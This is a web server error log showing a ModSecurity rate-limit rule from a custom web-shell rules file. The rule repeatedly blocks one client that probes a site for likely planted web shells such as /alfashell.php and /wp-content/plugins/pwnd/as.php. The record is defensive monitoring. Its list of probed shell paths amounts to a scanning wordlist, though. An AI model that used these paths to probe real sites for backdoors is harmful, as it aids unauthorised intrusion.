[Sat Apr 18 05:37:00.280191 2026] [:error] [pid 9864:tid 9927] [client 4.235.105.111:24973] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aeKn_ICFeowknfXHM7ktxQAAAFU"]
[Sat Apr 18 05:37:00.952494 2026] [:error] [pid 9865:tid 9943] [client 4.235.105.111:25000] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aeKn_Kzb5knECIY-C-ifAQAAAIY"]
[Sat Apr 18 05:37:01.695293 2026] [:error] [pid 9865:tid 9961] [client 4.235.105.111:27356] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aeKn_azb5knECIY-C-ifBgAAAJg"]
[Sat Apr 18 05:37:02.503133 2026] [:error] [pid 9864:tid 9917] [client 4.235.105.111:29110] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aeKn_oCFeowknfXHM7ktzQAAAEs"]
[Sat Apr 18 05:37:03.941659 2026] [:error] [pid 9970:tid 9982] [client 4.235.105.111:43043] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aeKn_yYdRLRhVmaIMx25zgAAAMg"]
[Sat Apr 18 05:37:04.708518 2026] [:error] [pid 9970:tid 9992] [client 4.235.105.111:23640] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aeKoACYdRLRhVmaIMx251AAAANI"]
[Sat Apr 18 05:37:05.449577 2026] [:error] [pid 9970:tid 9990] [client 4.235.105.111:30323] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aeKoASYdRLRhVmaIMx252AAAANA"]
[Sat Apr 18 05:37:06.260085 2026] [:error] [pid 9970:tid 9978] [client 4.235.105.111:4030] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aeKoAiYdRLRhVmaIMx253wAAAMQ"]
[Sat Apr 18 05:37:07.195666 2026] [:error] [pid 9865:tid 9961] [client 4.235.105.111:27438] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aeKoA6zb5knECIY-C-ifCgAAAJg"]
[Sat Apr 18 05:37:08.213468 2026] [:error] [pid 9970:tid 9995] [client 4.235.105.111:23675] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aeKoBCYdRLRhVmaIMx257AAAANU"]
[Sat Apr 18 05:37:08.779831 2026] [:error] [pid 9970:tid 9975] [client 4.235.105.111:31852] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aeKoBCYdRLRhVmaIMx258QAAAME"]
[Sat Apr 18 05:37:09.358693 2026] [:error] [pid 9970:tid 9982] [client 4.235.105.111:3801] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aeKoBSYdRLRhVmaIMx259QAAAMg"]
[Sat Apr 18 05:37:10.029687 2026] [:error] [pid 9970:tid 9998] [client 4.235.105.111:29057] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aeKoBiYdRLRhVmaIMx25-gAAANg"]
[Sat Apr 18 05:37:10.852208 2026] [:error] [pid 9970:tid 9983] [client 4.235.105.111:30294] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aeKoBiYdRLRhVmaIMx25_QAAAMk"]
[Sat Apr 18 05:37:11.928411 2026] [:error] [pid 9970:tid 9990] [client 4.235.105.111:27746] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aeKoByYdRLRhVmaIMx26BAAAANA"]
[Sat Apr 18 05:37:13.061268 2026] [:error] [pid 9970:tid 9980] [client 4.235.105.111:29095] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aeKoCSYdRLRhVmaIMx26DgAAAMY"]
[Sat Apr 18 05:37:13.866529 2026] [:error] [pid 9970:tid 9977] [client 4.235.105.111:45198] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "aeKoCSYdRLRhVmaIMx26EQAAAMM"]
[Sat Apr 18 05:37:14.652031 2026] [:error] [pid 9864:tid 9915] [client 4.235.105.111:3987] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "aeKoCoCFeowknfXHM7kt4QAAAEk"]
[Sat Apr 18 05:37:15.281672 2026] [:error] [pid 9865:tid 9946] [client 4.235.105.111:23661] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "aeKoC6zb5knECIY-C-ifGwAAAIk"]
[Sat Apr 18 05:37:16.499615 2026] [:error] [pid 9863:tid 9877] [client 4.235.105.111:30281] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "aeKoDDjjiypiFrTucbIGkwAAAAQ"]
[Sat Apr 18 05:37:18.139751 2026] [:error] [pid 9863:tid 9888] [client 4.235.105.111:31855] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeKoDjjjiypiFrTucbIGnAAAAA8"]
[Sat Apr 18 05:37:20.689066 2026] [:error] [pid 9863:tid 9897] [client 4.235.105.111:23621] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeKoEDjjiypiFrTucbIGqwAAABg"]
[Sat Apr 18 05:37:22.217692 2026] [:error] [pid 9970:tid 9998] [client 4.235.105.111:23617] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeKoEiYdRLRhVmaIMx26OQAAANg"]
[Sat Apr 18 05:37:25.317426 2026] [:error] [pid 9864:tid 9916] [client 4.235.105.111:44349] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeKoFYCFeowknfXHM7kt7AAAAEo"]
[Sat Apr 18 05:37:26.630693 2026] [:error] [pid 9970:tid 9980] [client 4.235.105.111:3667] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aeKoFiYdRLRhVmaIMx26UwAAAMY"]
[Sat Apr 18 05:37:29.003845 2026] [:error] [pid 9864:tid 9917] [client 4.235.105.111:47801] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aeKoGYCFeowknfXHM7kt8AAAAEs"]
[Sat Apr 18 05:37:29.904384 2026] [:error] [pid 9970:tid 9993] [client 4.235.105.111:47760] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aeKoGSYdRLRhVmaIMx26aAAAANM"]
[Sat Apr 18 05:37:32.461002 2026] [:error] [pid 9970:tid 9987] [client 4.235.105.111:40422] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aeKoHCYdRLRhVmaIMx26bgAAAM0"]
[Sat Apr 18 05:37:33.610317 2026] [:error] [pid 9863:tid 9888] [client 4.235.105.111:47767] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "aeKoHTjjiypiFrTucbIGyQAAAA8"]
[Sat Apr 18 05:37:34.418126 2026] [:error] [pid 9970:tid 9997] [client 4.235.105.111:3669] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "aeKoHiYdRLRhVmaIMx26dwAAANc"]
[Sat Apr 18 05:37:35.195570 2026] [:error] [pid 9970:tid 9977] [client 4.235.105.111:39330] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "aeKoHyYdRLRhVmaIMx26fAAAAMM"]
[Sat Apr 18 05:37:36.121779 2026] [:error] [pid 9865:tid 9948] [client 4.235.105.111:3956] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "aeKoIKzb5knECIY-C-ifPwAAAIs"]
[Sat Apr 18 05:37:36.690203 2026] [:error] [pid 9864:tid 9912] [client 4.235.105.111:34425] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aeKoIICFeowknfXHM7kuBgAAAEY"]
[Sat Apr 18 05:37:37.461794 2026] [:error] [pid 9865:tid 9938] [client 4.235.105.111:34383] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aeKoIazb5knECIY-C-ifRQAAAIE"]
[Sat Apr 18 05:37:38.309300 2026] [:error] [pid 9865:tid 9942] [client 4.235.105.111:47766] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aeKoIqzb5knECIY-C-ifTAAAAIU"]
[Sat Apr 18 05:37:39.137775 2026] [:error] [pid 9865:tid 9957] [client 4.235.105.111:44314] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aeKoI6zb5knECIY-C-ifUAAAAJQ"]
[Sat Apr 18 05:37:39.718304 2026] [:error] [pid 9970:tid 9985] [client 4.235.105.111:43181] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeKoIyYdRLRhVmaIMx26jwAAAMs"]
[Sat Apr 18 05:37:40.311361 2026] [:error] [pid 9970:tid 9980] [client 4.235.105.111:25866] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeKoJCYdRLRhVmaIMx26kgAAAMY"]
[Sat Apr 18 05:37:41.004842 2026] [:error] [pid 9970:tid 9989] [client 4.235.105.111:40407] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeKoJSYdRLRhVmaIMx26mAAAAM8"]
[Sat Apr 18 05:37:41.752790 2026] [:error] [pid 9970:tid 9974] [client 4.235.105.111:44051] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeKoJSYdRLRhVmaIMx26nQAAAMA"]
[Sat Apr 18 05:37:42.469428 2026] [:error] [pid 9864:tid 9905] [client 4.235.105.111:30019] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aeKoJoCFeowknfXHM7kuEwAAAEA"]
[Sat Apr 18 05:37:52.274092 2026] [:error] [pid 9863:tid 9881] [client 4.235.105.111:40407] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aeKoMDjjiypiFrTucbIG8gAAAAg"]
[Sat Apr 18 05:37:53.117197 2026] [:error] [pid 9970:tid 9981] [client 4.235.105.111:48235] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aeKoMSYdRLRhVmaIMx26vwAAAMc"]
[Sat Apr 18 05:37:53.815986 2026] [:error] [pid 9970:tid 9989] [client 4.235.105.111:48720] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aeKoMSYdRLRhVmaIMx26wAAAAM8"]
[Sat Apr 18 05:37:54.481596 2026] [:error] [pid 9863:tid 9875] [client 4.235.105.111:3581] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aeKoMjjjiypiFrTucbIG-AAAAAI"]
[Sat Apr 18 05:37:55.013906 2026] [:error] [pid 9863:tid 9886] [client 4.235.105.111:41705] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "aeKoMzjjiypiFrTucbIG-wAAAA0"]
[Sat Apr 18 05:37:55.843568 2026] [:error] [pid 9863:tid 9890] [client 4.235.105.111:44065] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "aeKoMzjjiypiFrTucbIG_gAAABE"]
[Sat Apr 18 05:37:56.948753 2026] [:error] [pid 9863:tid 9885] [client 4.235.105.111:39634] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "aeKoNDjjiypiFrTucbIHAwAAAAw"]
[Sat Apr 18 05:37:57.652969 2026] [:error] [pid 9970:tid 9977] [client 4.235.105.111:39653] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "aeKoNSYdRLRhVmaIMx26yQAAAMM"]
[Sat Apr 18 05:37:58.244986 2026] [:error] [pid 9865:tid 9961] [client 4.235.105.111:39645] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aeKoNqzb5knECIY-C-ifugAAAJg"]
[Sat Apr 18 05:37:58.945558 2026] [:error] [pid 9970:tid 9975] [client 4.235.105.111:42203] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aeKoNiYdRLRhVmaIMx260AAAAME"]
[Sat Apr 18 05:37:59.635617 2026] [:error] [pid 9865:tid 9946] [client 4.235.105.111:48738] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aeKoN6zb5knECIY-C-ifxgAAAIk"]
[Sat Apr 18 05:38:00.474122 2026] [:error] [pid 9970:tid 9974] [client 4.235.105.111:30398] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aeKoOCYdRLRhVmaIMx260gAAAMA"]
[Sat Apr 18 05:38:01.079272 2026] [:error] [pid 9970:tid 9983] [client 4.235.105.111:24815] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aeKoOSYdRLRhVmaIMx260wAAAMk"]
[Sat Apr 18 05:38:02.095446 2026] [:error] [pid 9863:tid 9887] [client 4.235.105.111:45169] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aeKoOjjjiypiFrTucbIHEQAAAA4"]
[Sat Apr 18 05:38:02.691262 2026] [:error] [pid 9863:tid 9897] [client 4.235.105.111:36694] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aeKoOjjjiypiFrTucbIHEwAAABg"]
